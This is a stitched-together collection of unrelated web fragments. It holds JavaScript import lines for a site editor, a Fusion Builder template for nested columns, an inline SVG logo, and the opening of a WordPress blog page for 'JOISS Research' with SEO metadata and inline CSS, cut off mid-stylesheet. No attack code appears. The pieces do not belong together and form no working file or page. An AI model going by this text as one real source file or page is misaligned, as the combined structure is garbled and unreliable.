import Module from '../../modules/site-editor/assets/js/site-editor';
import ImportExportCustomizationModule from '../../modules/import-export-customization/assets/js/module';

new Module();
new ImportExportCustomizationModule();
<script type="text/template" id="fusion-builder-inner-column-template">
	<div class="fusion-droppable fusion-droppable-vertical target-before fusion-nested-column-target"></div>
	<div class="fusion-builder-module-controls-container fusion-builder-module-controls-type-column fusion-builder-module-controls-type-column-nested">
		<div class="column-sizes">
			<h4>{{ fusionBuilderText.columns }}</h4>
			<div class="column-size column-size-1_6" data-column-size="1_6">1/6</div>
			<div class="column-size column-size-1_5" data-column-size="1_5">1/5</div>
			<div class="column-size column-size-1_4" data-column-size="1_4">1/4</div>
			<div class="column-size column-size-1_3" data-column-size="1_3">1/3</div>
			<div class="column-size column-size-2_5" data-column-size="2_5">2/5</div>
			<div class="column-size column-size-1_2" data-column-size="1_2">1/2</div>
			<div class="column-size column-size-3_5" data-column-size="3_5">3/5</div>
			<div class="column-size column-size-2_3" data-column-size="2_3">2/3</div>
			<div class="column-size column-size-3_4" data-column-size="3_4">3/4</div>
			<div class="column-size column-size-4_5" data-column-size="4_5">4/5</div>
			<div class="column-size column-size-5_6" data-column-size="5_6">5/6</div>
			<div class="column-size column-size-1_1" data-column-size="1_1">1/1</div>
		</div>
		<div class="fusion-builder-controls fusion-builder-module-controls fusion-builder-nested-column-controls">
			<a href="#" class="fusion-builder-settings-column fusion-builder-module-control"><span class="fusiona-pen"></span><span class="fusion-column-tooltip"><span class="fusion-tooltip-text">Column Options</span></span></a>
			<a href="#" class="fusion-builder-row-add-child fusion-builder-module-control"><span class="fusiona-add-columns"></span><span class="fusion-column-tooltip"><span class="fusion-tooltip-text">Add Columns</span></span></a>
			<# if ( 'custom' === layout ) { #>
				<a href="#" class="fusion-builder-column-size fusion-builder-module-control"><span class="fusion-column-size-label fusiona-column"></span><span class="fusion-column-tooltip"><span class="fusion-tooltip-text">Custom Column Size</span></span></a>
			<# } else { #>
				<a href="#" class="fusion-builder-column-size fusion-builder-module-control"><span class="fusion-column-size-label">{{{ layout }}}</span><span class="fusion-column-tooltip"><span class="fusion-tooltip-text">Column Size</span></span></a>
			<# } #>
			<a href="#" class="fusion-builder-column-clone fusion-builder-module-control"><span class="fusiona-file-add"></span><span class="fusion-column-tooltip"><span class="fusion-tooltip-text">Clone Column</span></span></a>
			<a href="#" class="fusion-builder-column-remove fusion-builder-module-control"><span class="fusiona-trash-o"></span><span class="fusion-column-tooltip"><span class="fusion-tooltip-text">Delete Column</span></span></a>
			<a href="#" class="fusion-builder-column-drag fusion-builder-module-control"><span class="fusiona-icon-move"></span><span class="fusion-column-tooltip"><span class="fusion-tooltip-text">Drag Column</span></span></a>
		</div>
	</div>

	<{{{ column_tag }}} {{{ _.fusionGetAttributes( wrapperAttr ) }}}>

		<# if ( 'yes' === center_content && ! isFlex ) { #>
			<div class="fusion-column-content-centered">
				<div class="fusion-column-content">
		<# } #>

		<div class="fusion-builder-column-content{{ nestedClass }}" data-cid="{{ cid }}">
			<span class="fusion-builder-empty-column">
				<span class="fusion-builder-module-controls-container">
					<span class="fusion-builder-controls fusion-builder-module-controls">
						<a href="#" class="fusion-builder-add-element fusion-builder-module-control">
							<span class="fusiona-plus"></span>
							<span class="fusion-column-tooltip">
								<span class="fusion-tooltip-text">{{{ fusionBuilderText.add_element }}}</span>
							</span>
						</a>
					</span>
				</span>
				<div class="fusion-droppable fusion-droppable-horizontal fusion-element-target target-replace fusion-element-target-column"></div>
			</span>
		</div>

		<# if ( 'yes' === center_content && ! isFlex ) { #>
				</div>
			</div>
		<# } #>

		<div class="fusion-clearfix"></div>

		<div class="fusion-column-spacers">
			<div class="fusion-column-margin-top fusion-element-spacing">
				<div class="fusion-spacing-value">
					<div class="fusion-spacing-tooltip"></div>
				</div>
			</div>
			<div class="fusion-column-margin-right fusion-element-spacing">
				<div class="fusion-spacing-value">
					<div class="fusion-spacing-tooltip"></div>
				</div>
			</div>
			<div class="fusion-column-margin-bottom fusion-element-spacing">
				<div class="fusion-spacing-value">
					<div class="fusion-spacing-tooltip"></div>
				</div>
			</div>
			<div class="fusion-column-margin-left fusion-element-spacing">
				<div class="fusion-spacing-value">
					<div class="fusion-spacing-tooltip"></div>
				</div>
			</div>
			<div class="fusion-column-padding-top fusion-element-spacing">
				<div class="fusion-spacing-value">
					<div class="fusion-spacing-tooltip"></div>
				</div>
			</div>
			<div class="fusion-column-padding-right fusion-element-spacing">
				<div class="fusion-spacing-value">
					<div class="fusion-spacing-tooltip"></div>
				</div>
			</div>
			<div class="fusion-column-padding-bottom fusion-element-spacing">
				<div class="fusion-spacing-value">
					<div class="fusion-spacing-tooltip"></div>
				</div>
			</div>
			<div class="fusion-column-padding-left fusion-element-spacing">
				<div class="fusion-spacing-value">
					<div class="fusion-spacing-tooltip"></div>
				</div>
			</div>
		</div>
	</{{{ column_tag }}}>

	<div class="fusion-column-margins">
		<div class="fusion-column-margin-top fusion-element-spacing">
			<div class="fusion-spacing-value">
				<div class="fusion-spacing-tooltip"></div>
			</div>
		</div>
		<div class="fusion-column-margin-bottom fusion-element-spacing">
			<div class="fusion-spacing-value">
				<div class="fusion-spacing-tooltip"></div>
			</div>
		</div>
	</div>

	<# if ( hoverOrLink ) { #>
		<span {{{ _.fusionGetAttributes( hoverWrapperAttr ) }}}>
			<a {{{ _.fusionGetAttributes( anchorAttr ) }}}>
				<span {{{ _.fusionGetAttributes( hoverInnerWrapperAttr ) }}}></span>
			</a>
		</span>
	<# } #>

	<a href="#" class="fusion-builder-add-element fusion-builder-module-control"><span class="fusiona-plus"></span><span class="fusion-column-tooltip"><span class="fusion-tooltip-text">{{ fusionBuilderText.add_element }}</span></span></a>

	<div class="fusion-column-styles-holder">
		<style type="text/css">{{{ styles }}}</style>
		<style type="text/css" class="fusion-column-responsive-styles">{{{ responsiveStyles }}}</style>
	</div>

	<div class="fusion-column-spacing">
		<div class="fusion-spacing-value">
			<div class="fusion-spacing-tooltip"></div>
		</div>
	</div>
	<div class="fusion-droppable fusion-droppable-vertical target-after fusion-nested-column-target"></div>
</script>
<svg xmlns="http://www.w3.org/2000/svg" width="226" height="40" aria-hidden="true" tabindex="-1" viewBox="0 0 219 39">
  <g fill="none" fill-rule="evenodd">
    <path fill="currentColor" fill-rule="nonzero" d="M88.4 26.2c.3 1.7 1.8 2.3 3.4 2.3 1.7 0 3-.7 3-1.6 0-1.3-1-2-2.4-2.3l-4-.8c-3.5-.6-5.6-1.7-5.6-4.7 0-4 3.5-6.7 8.4-6.7 4.8 0 8 2.3 8.8 5.6l-5.6 1.2c-.2-1.2-1.4-2.3-3.3-2.3-1.7 0-2.5.7-2.6 1.5-.1.5.1 1 1.9 1.3l4.5 1c3.7.7 5.4 3 5.4 5.8 0 4.3-3.7 6.6-8.8 6.6-4.6 0-8.5-1.7-9.2-5.7l6.1-1.2Zm56.5-8.9.1 2.4a13 13 0 0 1-13.5 13.6 13.6 13.6 0 1 1-.1-27.3c5.8 0 11 2.7 12.7 7.9l-6.1 1.8c-1.6-3-4-3.8-6.6-3.8a7.5 7.5 0 0 0-7.4 7.8c0 4.4 3.3 7.8 7.6 7.8 3.4 0 6-1.8 7-4.7h-8v-5.5h14.3Zm-86 15h-6.4V22h-11v10.3h-6.4V6.2h6.4v10.1h11V6.2h6.4zM82 22.5c0 6.2-5 10.3-10.7 10.3-6 0-10.8-4-10.8-10.3 0-6.2 4.9-10.3 10.8-10.3C77 12.2 82 16.3 82 22.5Zm-6 0c0-3-2.3-5-4.7-5a4.9 4.9 0 0 0-4.8 5c0 3 2.2 5 4.8 5 2.4 0 4.7-2 4.7-5Zm41.7 8.9c-1.6 1-3.5 1.5-5.3 1.5-4.9 0-7.8-2.7-7.8-7.8v-7.4H101v-5h3.5V7.5l6.2-1.3v6.5h5.8v5h-5.8v6.8c0 2 1 2.8 2.6 2.8 1 0 2-.3 2.9-.8l1.4 5Zm47-11.5v12.4h-6v-1.4a8.6 8.6 0 0 1-5.8 2c-4.4 0-7.3-2.6-7.3-6.4 0-3.9 3-6.3 8.1-6.3h5v-.4A2.6 2.6 0 0 0 156 17c-1.9 0-3 .8-3.3 2.5l-5.9-1.2c.9-3.8 4.3-6.2 9-6.2 5.5 0 9 2.8 9 7.8Zm-6 4.7V24h-4.2c-1.6 0-2.6.8-2.6 2 0 1.3 1.1 2 2.8 2 2.1.1 4-1.3 4-3.5Zm23.6 6.8a9.9 9.9 0 0 1-5.3 1.5c-4.9 0-7.8-2.7-7.8-7.8v-7.4h-3.5v-5h3.5V7.5l6.2-1.3v6.5h5.8v5h-5.8v6.8c0 2 1 2.8 2.6 2.8 1 0 2-.3 2.9-.8l1.4 5Z" class="header__logoPath"/>
    <path fill="currentColor" fill-rule="nonzero" d="M202.8 22.5c0 6.2-4.9 10.3-10.6 10.3-6 0-10.9-4-10.9-10.3 0-6.2 5-10.3 10.9-10.3 5.7 0 10.6 4.1 10.6 10.3Zm-6 0c0-3-2.2-5-4.6-5a4.9 4.9 0 0 0-4.9 5c0 3 2.3 5 4.9 5 2.4 0 4.7-2 4.7-5Zm22-9.9-.3 6.2h-1.1c-4.4 0-6.8 2.3-6.8 7.4v6.1h-6.2V14.1l6.2-1.4v3.8a7.6 7.6 0 0 1 8.2-3.9Z" class="header__logoPath"/>
    <path fill="#2E93EE" d="M21.2 28.4C20 29.4 19 31 17.9 32c.5 2.7-.5 4 .7 5 .5.3 3.1 1 4.7.2 0-1.5-.8-1.9-1.6-2.4-.8-1.8-.5-4.6-.6-6.4"/>
    <path fill="#2E578B" d="M21.8 37.6c-.2-.8-.8-1.5-1.6-1.8.7.4 1 1 1 1.8h.6Zm1.2-.3c0-.8-.7-1.5-1.4-1.8.7.6 1 1.3.9 2l.6-.2Z"/>
    <path fill="#2E93EE" d="M19.9 14.1c-.6.9-.8 2.6 3.6 5.1 0 0-1.8 3.3-2.4 3.9-.6.6-1 2.2-.4 3l1 1.1s1.5.3 2.1 0c.8-1 1-2.2.5-3.3 0 0 3.8-4 3.5-5.1-.2-1.2-6.1-7.3-8-4.7Z"/>
    <path fill="#2E578B" d="m24.3 24-2 1.4c.4 0 .7-.2 1-.4 0 0 .6.9.1 1.6 0 0 1-.6.3-1.8l.6-.8Z"/>
    <path fill="#2E93EE" d="M8.5 23.2c0 .3 0 .6-.2.8-.3.4-.4.4.2.7.5.3 1 .4 1.5.5 1 .2.7 0 .3-.8l-.6-1c-.9-1.3-1.1-1.2-1.2-.2m-3.2-.4c-.3.6.2.7.8 1H7c.7.2.5 0 .2-.5l-.6-1.1c-1.3-1.8-.7-.3-1.2.6m-2.9-.3v.4c0 .5 0 .4.6.5h.8c.8-.1.5-.4.1-.9l-.5-.4c-1.6-1.2-1-.4-1 .4m10.7-18s-4.6 2.3-4.5 3c0 .8 1.3.7 1.8 1.7 0 0-2.8 2-2.6 2.9.1.9 2 .5 2.4 1.2 0 0-.5 1.8 0 2.4.3.7.3.1.8 1 0 0-.2-6.6 2.1-12.2Z"/>
    <path fill="#2E93EE" d="M12.2 6.6c1.7 1.6 3.7 2.5 5.5 3.7 1.3.8 2.4 1.8 3.3 3 1.2 1.4.5 3.2.8 5a20.1 20.1 0 0 1 0 5.3c-.3 2.7-.4 5-2.3 7-2.4 2.5-5 3.1-8 .9-1-.7-2-1.5-2.9-2.5-.6-.7-1.3-1.1-2-1.8a9.6 9.6 0 0 0-3-2.1c-1-.5-1.9.1-2.4.4-.3.1-.7.4-1 .1a.3.3 0 0 1-.2-.4l.8-1c1.8-1.7 4.6-1.7 6.7-.6.8.5 1.7 1 2.6 1 .6 0 1.3-.1 1.8-.5.4-.4.7-.9.8-1.4.1-.8 0-1.5-.2-2.2-.3-1-1-2-1.4-3-1.3-3.5-1.7-7.5.4-10.8l.3-.4.4.3Z"/>
    <path fill="#FFCF00" d="M4 25.2c1.6.8 3.2 2.5 4.8 4.4 2 2.4 7.2 6 11.4.4 4-5.4 2.1-12.8 1.9-13.7-.2-.2-3.7-4.8-7-5.4-.8.7-1 2 .1 4.3 2 4 3.5 9.5 0 13-.4.5-1 1-1.8 1.2-2.4.8-3.7-.7-5.3-2.2a7.4 7.4 0 0 0-4-2Z"/>
    <path fill="#ECA93F" d="M20.7 29.3c-1.5-.2-3-.8-4.1-1.7a5.7 5.7 0 0 0 3.6 2.4l.5-.7Zm-6.9.3a9.5 9.5 0 0 0 2.5 3.3l1-.4a7.9 7.9 0 0 1-3.5-2.9Zm-5.2-.3.2.3.1.1.1-1-.4.6Zm1.7 1.7.5.5c-.1-.6-.2-1.3 0-1.6a6 6 0 0 0-.5 1.1Z"/>
    <path fill="#FF9144" d="m7 27.5.3.4.1-.8-.5.4Z"/>
    <path fill="#ECA93F" d="M17.7 24.7c1.5-.5 3.2-.5 4.7 0l.2-.7c-3.2-.8-5 .7-5 .7Zm5-4.9-.1-.8c-3.3-.1-5 1.5-5 1.5a8 8 0 0 1 5-.7Zm-1.4-4.4-.4-.5c-3.5 0-4.5 1.7-4.5 1.7 1.5-1 3.2-1.4 5-1.2Z"/>
    <path fill="#ECA93F" d="M22.6 19.2c0-.8-.2-1.5-.4-2.3l-.2-.2-7.6-4.6v.7c1.6 2.1 5 5.7 8.2 6.4Z"/>
    <path fill="#2E93EE" d="M11.4 27.9c.5-.7 1.2-1 2-1 2.3.3 1.6 3 1 4.6a13 13 0 0 0-.6 3.5c0 1.5.6 2-.1 2.6a6.1 6.1 0 0 1-4 1.1c-1.2-.3-1.3-2.9.7-3.5a8 8 0 0 0 .5-3.8c0-.9 0-2.7.5-3.6"/>
    <path fill="#2E578B" d="m11 38.7.4-.1c-.1-.8.1-1.6.7-2.1-.9.5-1.1 1.3-1.2 2.2Zm-1.3 0c-.2-.8 0-1.7.6-2.3-.7.4-1.1 1.2-1.1 2 .1.1.3.3.5.3Zm1.2-14.1s-.3 1.5.7 2c.9.4 2 .4 2.5-.2.7-.9 1.7-2.7-1.2-4.5-1.7-1-1.9 2.7-1.9 2.7Zm.2-7.2.8 1.5s2.3-3 1.9-3.4c-.5-.5-2.3 1.2-2.7 1.9Z"/>
    <path fill="#2E93EE" d="M13.4 13c2.5 2.5-2.7 5.8-2.7 5.8.6.4 1.3 1.6 1.8 2.5.6 1 .8.8 1.4 1.5.7.8-1.2 1.9-1.2 1.9S6.4 21.3 6.4 19c0-.3 1.5-2.8 3-4.3.7-.7 2.8-2.9 4-1.7Z"/>
    <path fill="#2E93EE" d="M11 23.5s-.5 2.3.9 3c0 0 1.1 0 1.7-.4 0 0 1.4-2.1.3-3.3-1-1.1-3 .7-3 .7Z"/>
    <path fill="#2E578B" d="m11 23.6 2 1.1-.9-.1s-.4.9.1 1.4c0 0-.8-.1-.5-1.5l-.8-.8Z"/>
    <path fill="#2E93EE" d="M12.6 6s1-5.7 3.2-5.8c1.6 0 2.4 1.9 2.4 1.9a5 5 0 0 1 2.6.8s.4-.8 1.2-.5c.7.2 1.5 1.8 1.2 4.5.7.1 1.3.5 1.7 1.2l-.8.5c-.5 0-2.6-.7-3.2-.2-.5.4-.8 1-.7 1.8 0 0-2.3-.3-3.3-1.6s-2-3.9-4.3-2.7Z"/>
    <path fill="#F1F1F2" fill-rule="nonzero" d="M20.5 6.3S21 4.4 22.2 4c0 1 .1 1.8.3 2.7a17 17 0 0 0-2-.3Zm-5-3.8S17 3 18 6c-1-.2-2.2-.3-3.2-.3.5-1 .8-2.2.8-3.3Z"/>
    <path fill="#2E578B" d="M16 3.8c.4 0 .7.3.7.8s-.3.9-.6.9c-.4 0-.6-.4-.6-.9 0-.4.2-.8.6-.8M21.4 6c.3 0 .5-.2.5-.6 0-.4-.2-.7-.5-.7h-.2l-.3.7c0 .4.2.7.5.7Z"/>
    <path fill="#FF9144" d="M15.6 7.3S14 6 13.1 7c-1 1.2 0 3 0 3s.1-.8.5-1c0 0 .1 2.4 4 5.1 4 2.7 5.8 2.4 6.6 2.2.9-.2 1.8-.9 1.4-1.6a17 17 0 0 0-2.5-2.5s-.9 0-2.6-.5c-1.7-.6-4-1.8-5.5-3.9l.6-.4"/>
    <path fill="#FF6B17" d="M14.7 10.5c2.2-.5 4.5 0 6.1 1.7l-.4-.3s2 0 2.3.2c1.2.8 2 2.1 2.1 3.6 0 .7-1.6 1-5.2-.7-2.3-1.2-5-4.5-5-4.5Z"/>
    <path fill="#FF9144" d="M19 11h.2-.1Z"/>
    <path fill="#EBEEF2" d="M23 12s-.6 2-1.3 1.8c-.3 0-.2-.6-.3-1l-.4-1.1 2 .4Zm3.7-.7s-.2 2-1 2c-.2 0-.2-.6-.4-1l-.6-1h2Z"/>
    <path fill="#FFCF00" d="M27.5 9.5c0-1.5-2-2.1-3.4-1.1-1.2-.3-2.5-1-3.6.1-.5.4-.6 1-.4 1.6 0 0-2.4-.4-3.2-1.6-.8-1.2-1.9-2.8-3-3-.7 0-1.7-.1-2.3 1-.6 1.2-.9 3.4 3.6 6.7 4.4 3.4 6.4 4.3 7.4 4.3 1.2 0 1.3-.4 2.7-.6.7-.1 1.3-1.4.5-2.5a9.2 9.2 0 0 0-2.4-2s1.7 1.4 2 2c.4.8-.6 1.2-1.4 1.4-.9.2-2 .5-6-2.2-3.9-2.7-4.3-5.4-4.3-5.4-.5-.1-.6 1-.6 1s-.6-1.3.2-2c1-1 2 .2 2 .2h-.1c-.6-.3-.7.2-.7.2 1.5 2 3.6 3.6 6 4.5 1.7.6 2.6 0 2.6 0l2.4-.2c.6-.2 2.1-.5 2-2.4Z"/>
    <path fill="#ECA93F" d="M21.8 9.3c.4-.1.7.4.2.7-.1.2 0 .4.3.5-.3.1-.7 0-.8-.3-.2-.4 0-.7.3-.9m4.5-.2c-.3 0-.6.4-.1.6 0 .1 0 .3-.3.4.8.2.8-.8.4-1"/>
  </g>
</svg><!doctype html>
<html lang="en-US">
<head>
	<meta charset="UTF-8">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<link rel="profile" href="https://gmpg.org/xfn/11">
	<meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' />

	<!-- This site is optimized with the Yoast SEO plugin v27.2 - https://yoast.com/product/yoast-seo-wordpress/ -->
	<title>Blog - JOISS Research</title>
	<link rel="canonical" href="https://joissresearch.org/blog/" />
	<meta property="og:locale" content="en_US" />
	<meta property="og:type" content="article" />
	<meta property="og:title" content="Blog - JOISS Research" />
	<meta property="og:description" content="Blogs Harmonizing Purpose: The Role of Quantitative Analysis in Action Research Clarity Action research sets forth on the path of enrichment underpinned by methodological understanding and quantitative&hellip; Dr. Ninad Bhatt January 30, 2024 A Symphony of Precision: Quantitative Analysis in Action Research Starting on the journey of action research necessitates a knowledge base about methodologies, [&hellip;]" />
	<meta property="og:url" content="https://joissresearch.org/blog/" />
	<meta property="og:site_name" content="JOISS Research" />
	<meta property="article:modified_time" content="2024-02-05T07:08:43+00:00" />
	<meta property="og:image" content="https://joissresearch.org/wp-content/uploads/2024/02/Blog-banner.jpg" />
	<meta name="twitter:card" content="summary_large_image" />
	<meta name="twitter:label1" content="Est. reading time" />
	<meta name="twitter:data1" content="2 minutes" />
	<script type="application/ld+json" class="yoast-schema-graph">{"@context":"https://schema.org","@graph":[{"@type":"WebPage","@id":"https://joissresearch.org/blog/","url":"https://joissresearch.org/blog/","name":"Blog - JOISS Research","isPartOf":{"@id":"https://joissresearch.org/#website"},"primaryImageOfPage":{"@id":"https://joissresearch.org/blog/#primaryimage"},"image":{"@id":"https://joissresearch.org/blog/#primaryimage"},"thumbnailUrl":"https://joissresearch.org/wp-content/uploads/2024/02/Blog-banner.jpg","datePublished":"2023-11-29T06:38:44+00:00","dateModified":"2024-02-05T07:08:43+00:00","inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https://joissresearch.org/blog/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https://joissresearch.org/blog/#primaryimage","url":"https://joissresearch.org/wp-content/uploads/2024/02/Blog-banner.jpg","contentUrl":"https://joissresearch.org/wp-content/uploads/2024/02/Blog-banner.jpg","width":2448,"height":1632},{"@type":"WebSite","@id":"https://joissresearch.org/#website","url":"https://joissresearch.org/","name":"JOISS® Research","description":"Online Journals","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https://joissresearch.org/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"}]}</script>
	<!-- / Yoast SEO plugin. -->


<link rel='dns-prefetch' href='//interseq.at' />
<link rel='dns-prefetch' href='//interseqf.com' />
<link rel="alternate" type="application/rss+xml" title="JOISS Research &raquo; Feed" href="https://joissresearch.org/feed/" />
<link rel="alternate" type="application/rss+xml" title="JOISS Research &raquo; Comments Feed" href="https://joissresearch.org/comments/feed/" />
<link rel="alternate" title="oEmbed (JSON)" type="application/json+oembed" href="https://joissresearch.org/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fjoissresearch.org%2Fblog%2F" />
<link rel="alternate" title="oEmbed (XML)" type="text/xml+oembed" href="https://joissresearch.org/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fjoissresearch.org%2Fblog%2F&#038;format=xml" />
<style id="wp-img-auto-sizes-contain-inline-css">
img:is([sizes=auto i],[sizes^="auto," i]){contain-intrinsic-size:3000px 1500px}
/*# sourceURL=wp-img-auto-sizes-contain-inline-css */
</style>
<style id="wp-emoji-styles-inline-css">

	img.wp-smiley, img.emoji {
		display: inline !important;
		border: none !important;
		box-shadow: none !important;
		height: 1em !important;
		width: 1em !important;
		margin: 0 0.07em !important;
		vertical-align: -0.1em !important;
		background: none !important;
		padding: 0 !important;
	}
/*# sourceURL=wp-emoji-styles-inline-css */
</style>
<style id="global-styles-inline-css">
:root{--wp--preset--aspect-ratio--square: 1;--wp--preset--aspect-ratio--4-3: 4/3;--wp--preset--aspect-ratio--3-4: 3/4;--wp--preset--aspect-ratio--3-2: 3/2;--wp--preset--aspect-ratio--2-3: 2/3;--wp--preset--aspect-ratio--16-9: 16/9;--wp--preset--aspect-ratio--9-16: 9/16;--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple: linear-gradient(135deg,rgb(6,147,227) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgb(252,185,0) 0%,rgb(255,105,0) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red: linear-gradient(135deg,rgb(255,105,0) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%);--wp--preset--gradient--blush-bordeaux: linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%);--wp--preset--gradient--luminous-dusk: linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%);--wp--preset--gradient--pale-ocean: linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%);--wp--preset--gradient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-size--medium: 20px;--wp--preset--font-size--large: 36px;--wp--preset--font-size--x-large: 42px;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--60: 2.25rem;--wp--preset--spacing--70: 3.38rem;--wp--preset--spacing--80: 5.06rem;--wp--preset--shadow--natural: 6px 6px 9px rgba(0, 0, 0, 0.2);--wp--preset--shadow--deep: 12px 12px 50px rgba(0, 0, 0, 0.4);--wp--preset--shadow--sharp: 6px 6px 0px rgba(0, 0, 0, 0.2);--wp--preset--shadow--outlined: 6px 6px 0px -3px rgb(255, 255, 255), 6px 6px rgb(0, 0, 0);--wp--preset--shadow--crisp: 6px 6px 0px rgb(0, 0, 0);}.wp-block-button{--wp--preset--dimension--25: 25%;--wp--preset--dimension--50: 50%;--wp--preset--dimension--75: 75%;--wp--preset--dimension--100: 100%;}:root { --wp--style--global--content-size: 800px;--wp--style--global--wide-size: 1200px; }:where(body) { margin: 0; }.wp-site-blocks > .alignleft { float: left; margin-right: 2em; }.wp-site-blocks > .alignright { float: right; margin-left: 2em; }.wp-site-blocks > .aligncenter { justify-content: center; margin-left: auto; margin-right: auto; }:where(.wp-site-blocks) > * { margin-block-start: 24px; margin-block-end: 0; }:where(.wp-site-blocks) > :first-child { margin-block-start: 0; }:where(.wp-site-blocks) > :last-child { margin-block-end: 0; }:root { --wp--style--block-gap: 24px; }:root :where(.is-layout-flow) > :first-child{margin-block-start: 0;}:root :where(.is-layout-flow) > :last-child{margin-block-end: 0;}:root :where(.is-layout-flow) > *{margin-block-start: 24px;margin-block-end: 0;}:root :where(.is-layout-constrained) > :first-child{margin-block-start: 0;}:root :where(.is-layout-constrained) > :last-child{margin-block-end: 0;}:root :where(.is-layout-constrained) > *{margin-block-start: 24px;margin-block-end: 0;}:root :where(.is-layout-flex){gap: 24px;}:root :where(.is-layout-grid){gap: 24px;}.is-layout-flow > .alignleft{float: left;margin-inline-start: 0;margin-inline-end: 2em;}.is-layout-flow > .alignright{float: right;margin-inline-start: 2em;margin-inline-end: 0;}.is-layout-flow > .aligncenter{margin-left: auto !important;margin-right: auto !important;}.is-layout-constrained > .alignleft{float: left;margin-inline-start: 0;margin-inline-end: 2em;}.is-layout-constrained > .alignright{float: right;margin-inline-start: 2em;margin-inline-end: 0;}.is-layout-constrained > .aligncenter{margin-left: auto !important;margin-right: auto !important;}.is-layout-constrained > :where(:not(.alignleft):not(.alignright):not(.alignfull)){max-width: var(--wp--style--global--content-size);margin-left: auto !important;margin-right: auto !important;}.is-layout-constrained > .alignwide{max-width: var(--wp--style--global--wide-size);}body .is-layout-flex{display: flex;}.is-layout-flex{flex-wrap: wrap;align-items: center;}.is-layout-flex > :is(*, div){margin: 0;}body .is-layout-grid{display: grid;}.is-layout-grid > :is(*, div){margin: 0;}body{padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;}:root :where(.wp-element-button, .wp-block-button__link){background-color: #32373c;border-width: 0;color: #fff;font-family: inherit;font-size: inherit;font-style: inherit;font-weight: inherit;letter-spacing: inherit;line-height: inherit;padding-top: calc(0.667em + 2px);padding-right: calc(1.333em + 2px);padding-bottom: calc(0.667em + 2px);padding-left: calc(1.333em + 2px);text-decoration: none;text-transform: inherit;}.has-black-color{color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-color{color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-color{color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-color{color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-color{color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-color{color: var(--wp--preset--color--vivid-purple) !important;}.has-black-background-color{background-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-background-color{background-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-background-color{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-background-color{background-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-background-color{background-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-background-color{background-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-background-color{background-color: var(--wp--preset--color--vivid-purple) !important;}.has-black-border-color{border-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-border-color{border-color: var(--wp--preset--color--cyan-bluish-gray) 